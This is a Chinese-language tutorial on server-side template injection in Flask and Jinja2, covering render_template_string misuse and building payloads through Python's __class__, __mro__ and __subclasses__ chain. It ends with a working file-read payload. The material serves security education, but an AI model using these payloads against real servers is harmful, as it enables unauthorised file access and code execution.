Python-Flask-SSTI

时间:2020-10-16
本文章向大家介绍Python-Flask-SSTI,主要包括Python-Flask-SSTI使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

1. Flask框架
Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外,Flask还有很强的定制性,用户可以根据自己的需求来添加相应的功能,在保持核心功能简单的同时实现功能的丰富与扩展,其强大的插件库可以让用户实现个性化的网站定制,开发出功能强大的网站。
2. flask基础
a. 一个基础的Flask代码

from flask import Flask 导入了Flask框架
app=Flask(__name__) 
@app.route('/') route装饰器的作用是将函数与URL绑定起来。这里的作用就是当访问 
def index(): 127.0.0.1:5000时,flask就会返回hello flask
return '<h1>hello flask</h1>'
if__name__=='__main__':
app.run(debug=True)

b. 渲染方法 flask的渲染方法有render_template和render_template_string两种
i. render_template()是用来渲染一个指定文件的,使用如下
return render_template('index.html')
ii. render_template_string()则是用来渲染一个字符串的,SSTI与这个方法密不可分。使用方法如下
html = '<h1>This is hello page</h1>'
return render_template_string(html)
c. 不正确的使用flask中的render_template_string方法会引发SSTI。当代码和数据混淆,并且用户输入的数据会和HTML拼接后进行渲染,就可能会产生SSTI

3. jinjia2
a. jinjia2是Flask作者开发的一个模板系统,起初是模仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活性,快速和安全被广泛使用。
flask是使用Jinjia2来作为渲染引擎的,网站根目录下新建templates文件夹,就是用来存放html文件的。
b. 在jinjia2中有三种语法
控制结构 {% %}
变量取值 {{ }}
注释{# #}
c. jinjia2模板中使用{{ }}语法表示一个变量,它是一种特殊的占位符。当利用jinjia2渲染时,它会把这些特殊的占位符进行填充或者替换,jinjia2支持python中所有的python数据类型,比如列表、字段、对象。
d. jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值
4. 漏洞利用
a. 构造payload的原理
首先要知道python所有类的几个魔法方法:
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
payload构造思路:从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用调用其__globals['builtins']即可调用eval等执行任意代码。
(builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块)
也就是通过Python的对象的集成来一步步实现文件读取和命令执行的。
b. payload构造步骤
i. 获取字符串的类对象(获取一个类)
>>> 'a'.__class__
<type 'str'>
ii. 2.寻找基类链,找到<type 'object'>类
>>> 'a'.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
iii. 3.寻找<type 'object'>类的所有子类中可用的引用类
>>> 'a'.__class__.__mro__[2].__subclasses__()
这里可以看到有一个<type 'file'>类,也就是对文件操作的类,那么可以拿他的方法进行文件读取。
iv. 利用<type 'file'>的read()方法进行文件读取
'a'.__class__.__mro__[2].__subclasses__()[40]('/Users/rebecca/Sites/info.php').read()

原文地址:https://www.cnblogs.com/ersuani/p/13828827.html